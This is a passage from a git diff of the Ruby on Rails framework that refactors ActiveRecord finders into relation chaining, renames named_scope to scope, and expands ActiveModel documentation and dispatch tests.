assert_match /\/index\.html/, logs[0]
ensure
diff --git a/actionpack/test/dispatch/callbacks_test.rb b/actionpack/test/dispatch/callbacks_test.rb
index f3ea5209f4..9df882ce75 100644
--- a/actionpack/test/dispatch/callbacks_test.rb
+++ b/actionpack/test/dispatch/callbacks_test.rb
@@ -85,18 +85,6 @@ class DispatcherTest < Test::Unit::TestCase
assert_equal 4, Foo.b
end
- def test_should_send_an_instrumentation_callback_for_async_processing
- ActiveSupport::Notifications.expects(:instrument).with("action_dispatch.callback")
- dispatch
- end
-
- def test_should_send_an_instrumentation_callback_for_async_processing_even_on_failure
- ActiveSupport::Notifications.notifier.expects(:publish)
- assert_raise RuntimeError do
- dispatch { |env| raise "OMG" }
- end
- end
-
private
def dispatch(cache_classes = true, &block)
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 02f63f7006..4697fa3e2b 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -13,8 +13,7 @@ class ResponseTest < ActiveSupport::TestCase
assert_equal({
"Content-Type" => "text/html; charset=utf-8",
"Cache-Control" => "max-age=0, private, must-revalidate",
- "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
- "Set-Cookie" => ""
+ "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"'
}, headers)
parts = []
@@ -30,8 +29,7 @@ class ResponseTest < ActiveSupport::TestCase
assert_equal({
"Content-Type" => "text/html; charset=utf-8",
"Cache-Control" => "max-age=0, private, must-revalidate",
- "ETag" => '"ebb5e89e8a94e9dd22abf5d915d112b2"',
- "Set-Cookie" => ""
+ "ETag" => '"ebb5e89e8a94e9dd22abf5d915d112b2"'
}, headers)
end
@@ -44,8 +42,7 @@ class ResponseTest < ActiveSupport::TestCase
assert_equal 200, status
assert_equal({
"Content-Type" => "text/html; charset=utf-8",
- "Cache-Control" => "no-cache",
- "Set-Cookie" => ""
+ "Cache-Control" => "no-cache"
}, headers)
parts = []
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index 5845c791a0..6dccabdb3f 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -65,7 +65,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
resources :companies do
resources :people
- resource :avatar
+ resource :avatar, :controller => :avatar
end
resources :images do
@@ -294,34 +294,34 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
def test_projects
with_test_routes do
get '/projects'
- assert_equal 'projects#index', @response.body
+ assert_equal 'project#index', @response.body
assert_equal '/projects', projects_path
post '/projects'
- assert_equal 'projects#create', @response.body
+ assert_equal 'project#create', @response.body
get '/projects.xml'
- assert_equal 'projects#index', @response.body
+ assert_equal 'project#index', @response.body
assert_equal '/projects.xml', projects_path(:format => 'xml')
get '/projects/new'
- assert_equal 'projects#new', @response.body
+ assert_equal 'project#new', @response.body
assert_equal '/projects/new', new_project_path
get '/projects/new.xml'
- assert_equal 'projects#new', @response.body
+ assert_equal 'project#new', @response.body
assert_equal '/projects/new.xml', new_project_path(:format => 'xml')
get '/projects/1'
- assert_equal 'projects#show', @response.body
+ assert_equal 'project#show', @response.body
assert_equal '/projects/1', project_path(:id => '1')
get '/projects/1.xml'
- assert_equal 'projects#show', @response.body
+ assert_equal 'project#show', @response.body
assert_equal '/projects/1.xml', project_path(:id => '1', :format => 'xml')
get '/projects/1/edit'
- assert_equal 'projects#edit', @response.body
+ assert_equal 'project#edit', @response.body
assert_equal '/projects/1/edit', edit_project_path(:id => '1')
end
end
@@ -383,7 +383,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal '/projects/1/companies/1/people', project_company_people_path(:project_id => '1', :company_id => '1')
get '/projects/1/companies/1/avatar'
- assert_equal 'avatars#show', @response.body
+ assert_equal 'avatar#show', @response.body
assert_equal '/projects/1/companies/1/avatar', project_company_avatar_path(:project_id => '1', :company_id => '1')
end
end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index ab7b9bc31b..d2c1758af1 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -137,7 +137,7 @@ class CookieStoreTest < ActionController::IntegrationTest
with_test_route_set do
get '/no_session_access'
assert_response :success
- assert_equal "", headers['Set-Cookie']
+ assert_equal nil, headers['Set-Cookie']
end
end
@@ -147,7 +147,7 @@ class CookieStoreTest < ActionController::IntegrationTest
"fef868465920f415f2c0652d6910d3af288a0367"
get '/no_session_access'
assert_response :success
- assert_equal "", headers['Set-Cookie']
+ assert_equal nil, headers['Set-Cookie']
end
end
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
index 951fb4a22e..def86c8323 100644
--- a/actionpack/test/dispatch/show_exceptions_test.rb
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -53,19 +53,21 @@ class ShowExceptionsTest < ActionController::IntegrationTest
test "rescue locally from a local request" do
@app = ProductionApp
- self.remote_addr = '127.0.0.1'
+ ['127.0.0.1', '::1'].each do |ip_address|
+ self.remote_addr = ip_address
- get "/"
- assert_response 500
- assert_match /puke/, body
+ get "/"
+ assert_response 500
+ assert_match /puke/, body
- get "/not_found"
- assert_response 404
- assert_match /#{ActionController::UnknownAction.name}/, body
+ get "/not_found"
+ assert_response 404
+ assert_match /#{ActionController::UnknownAction.name}/, body
- get "/method_not_allowed"
- assert_response 405
- assert_match /ActionController::MethodNotAllowed/, body
+ get "/method_not_allowed"
+ assert_response 405
+ assert_match /ActionController::MethodNotAllowed/, body
+ end
end
test "localize public rescue message" do
@@ -104,27 +106,4 @@ class ShowExceptionsTest < ActionController::IntegrationTest
assert_response 405
assert_match /ActionController::MethodNotAllowed/, body
end
-
- test "publishes notifications" do
- # Wait pending notifications to be published
- ActiveSupport::Notifications.notifier.wait
-
- @app, event = ProductionApp, nil
- self.remote_addr = '127.0.0.1'
-
- ActiveSupport::Notifications.subscribe('action_dispatch.show_exception') do |*args|
- event = args
- end
-
- get "/"
- assert_response 500
- assert_match /puke/, body
-
- ActiveSupport::Notifications.notifier.wait
-
- assert_equal 'action_dispatch.show_exception', event.first
- assert_kind_of Hash, event.last[:env]
- assert_equal 'GET', event.last[:env]["REQUEST_METHOD"]
- assert_kind_of RuntimeError, event.last[:exception]
- end
end
diff --git a/actionpack/test/dispatch/subscriber_test.rb b/actionpack/test/dispatch/subscriber_test.rb
new file mode 100644
index 0000000000..a7f1a2659a
--- /dev/null
+++ b/actionpack/test/dispatch/subscriber_test.rb
@@ -0,0 +1,112 @@
+require "abstract_unit"
+require "rails/subscriber/test_helper"
+require "action_dispatch/railties/subscriber"
+
+module DispatcherSubscriberTest
+ Boomer = lambda do |env|
+ req = ActionDispatch::Request.new(env)
+ case req.path
+ when "/"
+ [200, {}, []]
+ else
+ raise "puke!"
+ end
+ end
+
+ App = ActionDispatch::Notifications.new(Boomer)
+
+ def setup
+ Rails::Subscriber.add(:action_dispatch, ActionDispatch::Railties::Subscriber.new)
+ @app = App
+ super
+
+ @events = []
+ ActiveSupport::Notifications.subscribe do |*args|
+ @events << args
+ end
+ end
+
+ def set_logger(logger)
+ ActionController::Base.logger = logger
+ end
+
+ def test_publishes_notifications
+ get "/"
+ wait
+
+ assert_equal 2, @events.size
+ before, after = @events
+
+ assert_equal 'action_dispatch.before_dispatch', before[0]
+ assert_kind_of Hash, before[4][:env]
+ assert_equal 'GET', before[4][:env]["REQUEST_METHOD"]
+
+ assert_equal 'action_dispatch.after_dispatch', after[0]
+ assert_kind_of Hash, after[4][:env]
+ assert_equal 'GET', after[4][:env]["REQUEST_METHOD"]
+ end
+
+ def test_publishes_notifications_even_on_failures
+ begin
+ get "/puke"
+ rescue
+ end
+
+ wait
+
+ assert_equal 3, @events.size
+ before, after, exception = @events
+
+ assert_equal 'action_dispatch.before_dispatch', before[0]
+ assert_kind_of Hash, before[4][:env]
+ assert_equal 'GET', before[4][:env]["REQUEST_METHOD"]
+
+ assert_equal 'action_dispatch.after_dispatch', after[0]
+ assert_kind_of Hash, after[4][:env]
+ assert_equal 'GET', after[4][:env]["REQUEST_METHOD"]
+
+ assert_equal 'action_dispatch.exception', exception[0]
+ assert_kind_of Hash, exception[4][:env]
+ assert_equal 'GET', exception[4][:env]["REQUEST_METHOD"]
+ assert_kind_of RuntimeError, exception[4][:exception]
+ end
+
+ def test_subscriber_logs_notifications
+ get "/"
+ wait
+
+ log = @logger.logged(:info).first
+ assert_equal 1, @logger.logged(:info).size
+
+ assert_match %r{^Processing "/" to text/html}, log
+ assert_match %r{\(for 127\.0\.0\.1}, log
+ assert_match %r{\[GET\]}, log
+ end
+
+ def test_subscriber_has_its_logged_flushed_after_request
+ assert_equal 0, @logger.flush_count
+ get "/"
+ wait
+ assert_equal 1, @logger.flush_count
+ end
+
+ def test_subscriber_has_its_logged_flushed_even_after_busted_requests
+ assert_equal 0, @logger.flush_count
+ begin
+ get "/puke"
+ rescue
+ end
+ wait
+ assert_equal 1, @logger.flush_count
+ end
+
+ class SyncSubscriberTest < ActionController::IntegrationTest
+ include Rails::Subscriber::SyncTestHelper
+ include DispatcherSubscriberTest
+ end
+
+ class AsyncSubscriberTest < ActionController::IntegrationTest
+ include Rails::Subscriber::AsyncTestHelper
+ include DispatcherSubscriberTest
+ end
+end \ No newline at end of file
diff --git a/actionpack/test/fixtures/reply.rb b/actionpack/test/fixtures/reply.rb
index 04598437c2..19cba93673 100644
--- a/actionpack/test/fixtures/reply.rb
+++ b/actionpack/test/fixtures/reply.rb
@@ -1,5 +1,5 @@
class Reply < ActiveRecord::Base
- named_scope :base
+ scope :base
belongs_to :topic, :include => [:replies]
belongs_to :developer
diff --git a/activemodel/README b/activemodel/README
index c20f732a12..7c9c754a8e 100644
--- a/activemodel/README
+++ b/activemodel/README
@@ -1,21 +1,57 @@
-Active Model
-==============
+= Active Model - defined interfaces for Rails
-Totally experimental library that aims to extract common model mixins from
-ActiveRecord for use in ActiveResource (and other similar libraries).
-This is in a very rough state (no autotest or spec rake tasks set up yet),
-so please excuse the mess.
+Prior to Rails 3.0, if a plugin or gem developer wanted to be able to have
+an object interact with Action Pack helpers, it was required to either
+copy chunks of code from Rails, or monkey patch entire helpers to make them
+handle objects that did not look like Active Record. This generated code
+duplication and fragile applications that broke on upgrades.
-Here's what I plan to extract:
- * ActiveModel::Observing
- * ActiveModel::Callbacks
- * ActiveModel::Validations
+Active Model is a solution for this problem.
- # for ActiveResource params and ActiveRecord options
- * ActiveModel::Scoping
+Active Model provides a known set of interfaces that your objects can implement
+to then present a common interface to the Action Pack helpers. You can include
+functionality from the following modules:
- # to_json, to_xml, etc
- * ActiveModel::Serialization
+* Adding callbacks to your class
+
+ class MyClass
+ extend ActiveModel::Callbacks
+ define_model_callbacks :create
+
+ def create
+ _run_create_callbacks do
+ # Your create action methods here
+ end
+ end
+ end
+
+ ...gives you before_create, around_create and after_create class methods that
+ wrap your create method.
+
+ {Learn more}[link:classes/ActiveModel/CallBacks.html]
+
+* For classes that already look like an Active Record object
+
+ class MyClass
+ include ActiveModel::Conversion
+ end
+
+ ...returns the class itself when sent :to_model
+
+* Tracking changes in your object
+
+ Provides all the value tracking features implemented by ActiveRecord...
+
+ person = Person.new
+ person.name # => nil
+ person.changed? # => false
+ person.name = 'bob'
+ person.changed? # => true
+ person.changed # => ['name']
+ person.changes # => { 'name' => [nil, 'bob'] }
+ person.name = 'robert'
+ person.save
+ person.previous_changes # => {'name' => ['bob, 'robert']}
+
+ {Learn more}[link:classes/ActiveModel/Dirty.html]
-I'm trying to keep ActiveRecord compatibility where possible, but I'm
-annotating the spots where I'm diverging a bit. \ No newline at end of file
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index f66a1ddcaa..a7e0cf90c1 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -1,6 +1,52 @@
require 'active_support/callbacks'
module ActiveModel
+ # == Active Model Callbacks
+ #
+ # Provides an interface for any class to have Active Record like callbacks.
+ #
+ # Like the Active Record methods, the call back chain is aborted as soon as
+ # one of the methods in the chain returns false.
+ #
+ # First, extend ActiveModel::Callbacks from the class you are creating:
+ #
+ # class MyModel
+ # extend ActiveModel::Callbacks
+ # end
+ #
+ # Then define a list of methods that you want call backs attached to:
+ #
+ # define_model_callbacks :create, :update
+ #
+ # This will provide all three standard callbacks (before, around and after) around
+ # both the :create and :update methods. To implement, you need to wrap the methods
+ # you want call backs on in a block so that the call backs get a chance to fire:
+ #
+ # def create
+ # _run_create_callbacks do
+ # # Your create action methods here
+ # end
+ # end
+ #
+ # The _run_<method_name>_callbacks methods are dynamically created when you extend
+ # the <tt>ActiveModel::Callbacks</tt> module.
+ #
+ # Then in your class, you can use the +before_create+, +after_create+ and +around_create+
+ # methods, just as you would in an Active Record module.
+ #
+ # before_create :action_before_create
+ #
+ # def action_before_create
+ # # Your code here
+ # end
+ #
+ # You can choose not to have all three callbacks by passing an hash to the
+ # define_model_callbacks method.
+ #
+ # define_model_callbacks :create, :only => :after, :before
+ #
+ # Would only create the after_create and before_create callback methods in your
+ # class.
module Callbacks
def self.extended(base)
base.class_eval do
@@ -8,43 +54,39 @@ module ActiveModel
end
end
- # Define callbacks similar to ActiveRecord ones. It means:
- #
- # * The callback chain is aborted whenever the block given to
- # _run_callbacks returns false.
- #
- # * If a class is given to the fallback, it will search for
- # before_create, around_create and after_create methods.
- #
- # == Usage
- #
- # First you need to define which callbacks your model will have:
+ # define_model_callbacks accepts all options define_callbacks does, in case you
+ # want to overwrite a default. Besides that, it also accepts an :only option,
+ # where you can choose if you want all types (before, around or after) or just some.
#
+ # define_model_callbacks :initializer, :only => :after
+ #
+ # Note, the <tt>:only => <type></tt> hash will apply to all callbacks defined on
+ # that method call. To get around this you can call the define_model_callbacks
+ # method as many times as you need.
+ #
+ # define_model_callbacks :create, :only => :after
+ # define_model_callbacks :update, :only => :before
+ # define_model_callbacks :destroy, :only => :around
+ #
+ # Would create +after_create+, +before_update+ and +around_destroy+ methods only.
+ #
+ # You can pass in a class to before_<type>, after_<type> and around_<type>, in which
+ # case the call back will call that class's <action>_<type> method passing the object
+ # that the callback is being called on.
+ #
# class MyModel
+ # extend ActiveModel::Callbacks
# define_model_callbacks :create
+ #
+ # before_create AnotherClass
# end
- #
- # This will define three class methods: before_create, around_create,
- # and after_create. They accept a symbol, a string, an object or a block.
- #
- # After you create a callback, you need to tell when they are executed.
- # For example, you could do:
- #
- # def create
- # _run_create_callbacks do
- # super
+ #
+ # class AnotherClass
+ # def self.before_create( obj )
+ # # obj is the MyModel instance that the callback is being called on
# end
# end
- #
- # == Options
- #
- # define_model_callbacks accepts all options define_callbacks does, in
- # case you want to overwrite a default. Besides that, it also accepts
- # an :only option, where you can choose if you want all types (before,
- # around or after) or just some:
- #
- # define_model_callbacks :initializer, :only => :after
- #
+ #
def define_model_callbacks(*callbacks)
options = callbacks.extract_options!
options = { :terminator => "result == false", :scope => [:kind, :name] }.merge(options)
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index d5c65920f6..c14a07c7dc 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,5 +1,16 @@
module ActiveModel
- # Include ActiveModel::Conversion if your object "acts like an ActiveModel model".
+ # If your object is already designed to implement all of the Active Model featurs
+ # include this module in your Class.
+ #
+ # class MyClass
+ # include ActiveModel::Conversion
+ # end
+ #
+ # Returns self to the <tt>:to_model</tt> method.
+ #
+ # If your model does not act like an Active Model object, then you should define
+ # <tt>:to_model</tt> yourself returning a proxy object that wraps your object
+ # with Active Model compliant methods.
module Conversion
def to_model
self
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index 735c61df74..5f02929a9d 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -1,5 +1,43 @@
module ActiveModel
- # Track unsaved attribute changes.
+ # <tt>ActiveModel::Dirty</tt> provides a way to track changes in your
+ # object in the same way as ActiveRecord does.
+ #
+ # The requirements to implement ActiveModel::Dirty are:
+ #
+ # * <tt>include ActiveModel::Dirty</tt> in your object
+ # * Call <tt>define_attribute_methods</tt> passing each method you want to track
+ # * Call <tt>attr_name_will_change!</tt> before each change to the tracked attribute
+ #
+ # If you wish to also track previous changes on save or update, you need to add
+ #
+ # @previously_changed = changes
+ #
+ # inside of your save or update method.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ #
+ # include ActiveModel::Dirty
+ #
+ # define_attribute_methods [:name]
+ #
+ # def name
+ # @name
+ # end
+ #
+ # def name=(val)
+ # name_will_change!
+ # @name = val
+ # end
+ #
+ # def save
+ # @previously_changed = changes
+ # end
+ #
+ # end
+ #
+ # == Examples:
#
# A newly instantiated object is unchanged:
# person = Person.find_by_name('Uncle Bob')
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 0b6c75c46e..2e5bcab070 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -60,9 +60,11 @@ module ActiveModel
# error can be added to the same +attribute+ in which case an array will be returned on a call to <tt>on(attribute)</tt>.
# If no +messsage+ is supplied, :invalid is assumed.
# If +message+ is a Symbol, it will be translated, using the appropriate scope (see translate_error).
+ # If +message+ is a Proc, it will be called, allowing for things like Time.now to be used within an error
def add(attribute, message = nil, options = {})
message ||= :invalid
message = generate_message(attribute, message, options) if message.is_a?(Symbol)
+ message = message.call if message.is_a?(Proc)
self[attribute] << message
end
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index 871f589af9..9ceb75487f 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -57,13 +57,13 @@ module ActiveModel
#
# class Person < ActiveRecord::Base
# validates_length_of :first_name, :maximum=>30
- # validates_length_of :last_name, :maximum=>30, :message=>"less than {{count}} if you don't mind"
+ # validates_length_of :last_name, :maximum=>30, :message=>"less than 30 if you don't mind"
# validates_length_of :fax, :in => 7..32, :allow_nil => true
# validates_length_of :phone, :in => 7..32, :allow_blank => true
# validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
- # validates_length_of :fav_bra_size, :minimum => 1, :too_short => "please enter at least {{count}} character"
- # validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with {{count}} characters... don't play me."
- # validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least {{count}} words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
+ # validates_length_of :zip_code, :minimum => 5, :too_short => "please enter at least 5 characters"
+ # validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with 4 characters... don't play me."
+ # validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least 100 words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
# end
#
# Configuration options:
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 4c82a993ae..90b244228a 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/hash/slice'
+
module ActiveModel
module Validations
module ClassMethods
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 38a2a716a7..eb100d1c35 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -212,4 +212,12 @@ class ValidationsTest < ActiveModel::TestCase
all_errors = t.errors.to_a
assert_deprecated { assert_equal all_errors, t.errors.each_full{|err| err} }
end
+
+ def test_validation_with_message_as_proc
+ Topic.validates_presence_of(:title, :message => proc { "no blanks here".upcase })
+
+ t = Topic.new
+ assert !t.valid?
+ assert ["NO BLANKS HERE"], t.errors[:title]
+ end
end
diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG
index 38bcf0c787..ffff0b7e09 100644
--- a/activerecord/CHANGELOG
+++ b/activerecord/CHANGELOG
@@ -1,5 +1,15 @@
*Edge*
+* Allow relations to be used as scope.
+
+ class Item
+ scope :red, where(:colour => 'red')
+ end
+
+ Item.red.limit(10) # Ten red items
+
+* Rename named_scope to scope. [Pratik Naik]
+
* Changed ActiveRecord::Base.store_full_sti_class to be true by default reflecting the previously announced Rails 3 default [DHH]
* Add Relation#except. [Pratik Naik]
diff --git a/activerecord/lib/active_record/association_preload.rb b/activerecord/lib/active_record/association_preload.rb
index 9f7b2a60b2..a43c4d09d6 100644
--- a/activerecord/lib/active_record/association_preload.rb
+++ b/activerecord/lib/active_record/association_preload.rb
@@ -188,11 +188,11 @@ module ActiveRecord
conditions << append_conditions(reflection, preload_options)
associated_records = reflection.klass.with_exclusive_scope do
- reflection.klass.find(:all, :conditions => [conditions, ids],
- :include => options[:include],
- :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
- :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
- :order => options[:order])
+ reflection.klass.where([conditions, ids]).
+ includes(options[:include]).
+ joins("INNER JOIN #{connection.quote_table_name options[:join_table]} t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}").
+ select("#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id").
+ order(options[:order]).to_a
end
set_association_collection_records(id_to_record_map, reflection.name, associated_records, 'the_parent_record_id')
end
@@ -327,6 +327,7 @@ module ActiveRecord
table_name = klass.quoted_table_name
primary_key = klass.primary_key
column_type = klass.columns.detect{|c| c.name == primary_key}.type
+
ids = id_map.keys.map do |id|
if column_type == :integer
id.to_i
@@ -336,15 +337,14 @@ module ActiveRecord
id
end
end
+
conditions = "#{table_name}.#{connection.quote_column_name(primary_key)} #{in_or_equals_for_ids(ids)}"
conditions << append_conditions(reflection, preload_options)
+
associated_records = klass.with_exclusive_scope do
- klass.find(:all, :conditions => [conditions, ids],
- :include => options[:include],
- :select => options[:select],
- :joins => options[:joins],
- :order => options[:order])
+ klass.where([conditions, ids]).apply_finder_options(options.slice(:include, :select, :joins, :order)).to_a
end
+
set_association_single_records(id_map, reflection.name, associated_records, primary_key)
end
end
@@ -363,13 +363,12 @@ module ActiveRecord
conditions << append_conditions(reflection, preload_options)
reflection.klass.with_exclusive_scope do
- reflection.klass.find(:all,
- :select => (preload_options[:select] || options[:select] || "#{table_name}.*"),
- :include => preload_options[:include] || options[:include],
- :conditions => [conditions, ids],
- :joins => options[:joins],
- :group => preload_options[:group] || options[:group],
- :order => preload_options[:order] || options[:order])
+ reflection.klass.select(preload_options[:select] || options[:select] || "#{table_name}.*").
+ includes(preload_options[:include] || options[:include]).
+ where([conditions, ids]).
+ joins(options[:joins]).
+ group(preload_options[:group] || options[:group]).
+ order(preload_options[:order] || options[:order])
end
end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index b52b298027..ebf1a41e85 100755
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -774,13 +774,12 @@ module ActiveRecord
# [collection.build(attributes = {}, ...)]
# Returns one or more new objects of the collection type that have been instantiated
# with +attributes+ and linked to this object through a foreign key, but have not yet
- # been saved. <b>Note:</b> This only works if an associated object already exists, not if
- # it's +nil+!
+ # been saved.
# [collection.create(attributes = {})]
# Returns a new object of the collection type that has been instantiated
# with +attributes+, linked to this object through a foreign key, and that has already
- # been saved (if it passed the validation). <b>Note:</b> This only works if an associated
- # object already exists, not if it's +nil+!
+ # been saved (if it passed the validation). *Note*: This only works if the base model
+ # already exists in the DB, not if it is a new (unsaved) record!
#
# (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
# <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
@@ -1040,7 +1039,6 @@ module ActiveRecord
# A Post class declares <tt>belongs_to :author</tt>, which will add:
# * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
# * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
- # * <tt>Post#author?</tt> (similar to <tt>post.author == some_author</tt>)
# * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
# * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
# The declaration can also include an options hash to specialize the behavior of the association.
@@ -1703,30 +1701,19 @@ module ActiveRecord
end
def construct_finder_arel_with_included_associations(options, join_dependency)
- relation = active_relation
+ relation = scoped
for association in join_dependency.join_associations
relation = association.join_relation(relation)
end
- relation = relation.joins(options[:joins]).
- select(column_aliases(join_dependency)).
- group(options[:group]).
- having(options[:having]).
- order(options[:order]).
- where(options[:conditions]).
- from(options[:from])
+ relation = relation.apply_finder_options(options).select(column_aliases(join_dependency))
- scoped_relation = current_scoped_methods
- scoped_relation_limit = scoped_relation.taken if scoped_relation
-
- relation = current_scoped_methods.except(:limit).merge(relation) if current_scoped_methods
-
- if !using_limitable_reflections?(join_dependency.reflections) && ((scoped_relation && scoped_relation.taken) || options[:limit])
+ if !using_limitable_reflections?(join_dependency.reflections) && relation.limit_value
relation = relation.where(construct_arel_limited_ids_condition(options, join_dependency))
end
- relation = relation.limit(options[:limit] || scoped_relation_limit) if using_limitable_reflections?(join_dependency.reflections)
+ relation = relation.except(:limit, :offset) unless using_limitable_reflections?(join_dependency.reflections)
relation
end
@@ -1754,23 +1741,14 @@ module ActiveRecord
end
def construct_finder_sql_for_association_limiting(options, join_dependency)
- relation = active_relation
+ relation = scoped
for association in join_dependency.join_associations
relation = association.join_relation(relation)
end
- relation = relation.joins(options[:joins]).
- where(options[:conditions]).
- group(options[:group]).
- having(options[:having]).
- order(options[:order]).
- limit(options[:limit]).
- offset(options[:offset]).
- from(options[:from])
-
- relation = current_scoped_methods.except(:select, :includes, :eager_load).merge(relation) if current_scoped_methods
- relation = relation.select(connection.distinct("#{connection.quote_table_name table_name}.#{primary_key}", options[:order]))
+ relation = relation.apply_finder_options(options).except(:select)
+ relation = relation.select(connection.distinct("#{connection.quote_table_name table_name}.#{primary_key}", relation.order_values.join(", ")))
relation.to_sql
end
diff --git a/activerecord/lib/active_record/associations/association_collection.rb b/activerecord/lib/active_record/associations/association_collection.rb
index 64dd5cf629..e9402d3547 100644
--- a/activerecord/lib/active_record/associations/association_collection.rb
+++ b/activerecord/lib/active_record/associations/association_collection.rb
@@ -403,8 +403,6 @@ module ActiveRecord
else
super
end
- elsif @reflection.klass.scopes.include?(method)
- @reflection.klass.scopes[method].call(self, *args)
else
with_scope(construct_scope) do
if block_given?
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
index bd05d1014c..7f39a189e4 100644
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -37,7 +37,7 @@ module ActiveRecord
if force
record.save!
else
- return false unless record.save(validate)
+ return false unless record.save(:validate => validate)
end
end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index d3336cf2d2..146a6ca55f 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -58,7 +58,7 @@ module ActiveRecord
def insert_record(record, force = false, validate = true)
set_belongs_to_association_for(record)
- force ? record.save! : record.save(validate)
+ force ? record.save! : record.save(:validate => validate)
end
# Deletes the records according to the <tt>:dependent</tt> option.
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index 387b85aacd..bd2acd4340 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -60,7 +60,7 @@ module ActiveRecord
if force
record.save!
else
- return false unless record.save(validate)
+ return false unless record.save(:validate => validate)
end
end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index e178cb4ef2..325a8aa7ec 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -116,14 +116,14 @@ module ActiveRecord
# post = Post.find(1)
# post.author.name = ''
# post.save # => false
- # post.errors # => #<ActiveRecord::Errors:0x174498c @errors={"author_name"=>["can't be blank"]}, @base=#<Post ...>>
+ # post.errors # => #<ActiveRecord::Errors:0x174498c @errors={"author.name"=>["can't be blank"]}, @base=#<Post ...>>
#
# No validations will be performed on the associated models when validations
# are skipped for the parent:
#
# post = Post.find(1)
# post.author.name = ''
- # post.save(false) # => true
+ # post.save(:validate => false) # => true
module AutosaveAssociation
extend ActiveSupport::Concern
@@ -302,7 +302,7 @@ module ActiveRecord
association.send(:insert_record, record)
end
elsif autosave
- saved = record.save(false)
+ saved = record.save(:validate => false)
end
raise ActiveRecord::Rollback if saved == false
@@ -332,7 +332,7 @@ module ActiveRecord
key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
if autosave != false && (new_record? || association.new_record? || association[reflection.primary_key_name] != key || autosave)
association[reflection.primary_key_name] = key
- saved = association.save(!autosave)
+ saved = association.save(:validate => !autosave)
